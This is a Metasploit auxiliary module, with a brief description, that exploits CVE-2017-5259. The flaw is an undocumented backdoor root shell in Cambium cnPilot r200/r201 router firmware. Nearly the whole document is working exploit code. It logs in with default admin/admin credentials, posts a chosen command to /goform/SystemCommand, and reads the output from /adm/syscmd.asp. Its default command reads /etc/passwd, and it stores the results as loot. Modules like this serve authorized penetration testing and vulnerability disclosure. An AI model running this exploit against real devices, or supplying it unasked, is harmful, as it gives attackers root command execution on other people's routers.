Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to 4.3.3-R4, contain an undocumented, backdoor root shell. This shell is accessible via a specific url, to any authenticated user. The module uses this shell to execute arbitrary system commands as root.
cce7da9c26f8e8caf232905b3e36a9ab132e3adc8e18feeb48e4f97de90a8cef
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::CNPILOT
def initialize(info = {})
super(
update_info(
info,
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
'Description' => %q{
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
accessible via a specific url, to any authenticated user. The module uses this
shell to execute arbitrary system commands as 'root'.
},
'Author' => [
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' => [
['CVE', '2017-5259'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE
)
)
register_options(
[
OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),
OptString.new('CMD', [true, 'Command(s) to run', 'cat /etc/passwd'])
], self.class
)
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
def run_host(_ip)
unless is_app_cnpilot?
return
end
end
# command execution happens here
def cmd_exec_run(the_cookie)
# Verify backdoor 'root' shell url exists
root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")
res = send_request_cgi(
{
'uri' => '/adm/syscmd.asp',
'method' => 'GET',
'cookie' => the_cookie,
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}
)
# Now POST the command
if res && res.code == 200
uri1 = '/goform/SystemCommand'
inject_cmd = datastore['CMD']
print_good("#{rhost}:#{rport} - You can access the 'root' shell at: #{root_shell}")
print_good("#{rhost}:#{rport} - Executing command - #{inject_cmd}")
send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => the_cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'Connection' => 'keep-alive'
},
'vars_post' =>
{
'command' => inject_cmd,
'SystemCommandSubmit' => 'Apply'
}
}
)
# Results are populated in the first url, so GET it once more
res = send_request_cgi(
{
'uri' => '/adm/syscmd.asp',
'method' => 'GET',
'cookie' => the_cookie,
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}
)
html = Nokogiri::HTML(res.body)
search_result = html.search('textarea').text
if search_result.nil?
print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')
else
print_good(search_result.to_s)
# w00t we got l00t
loot_name = 'cmd-exec-log'
loot_type = 'text/plain'
loot_desc = 'Cambium cnPilot CMD Exec Results'
data = search_result.to_s
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
print_good("File saved in: #{p}")
end
else
print_error("#{rhost}:#{rport} - Backdoor 'root' shell not found. Affected versions are - v4.2.3-R4 and newer. You can try to verify the shell at #{root_shell}")
return
end
end
#
# Login & initiate cmd_exec_run
#
def run_login
cookie, cnpilot_version = do_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && cnpilot_version == 'skip'
return
elsif ['4.2.3-R4', '4.3.1-R1', '4.3.2-R4', '4.3.3-R4'].include?(cnpilot_version.to_s)
cmd_exec_run(cookie)
else
vprint_error("#{rhost}:#{rport} - This software version is not vulnerable. Affected versions are - v4.2.3-R4 and newer.")
end
end
end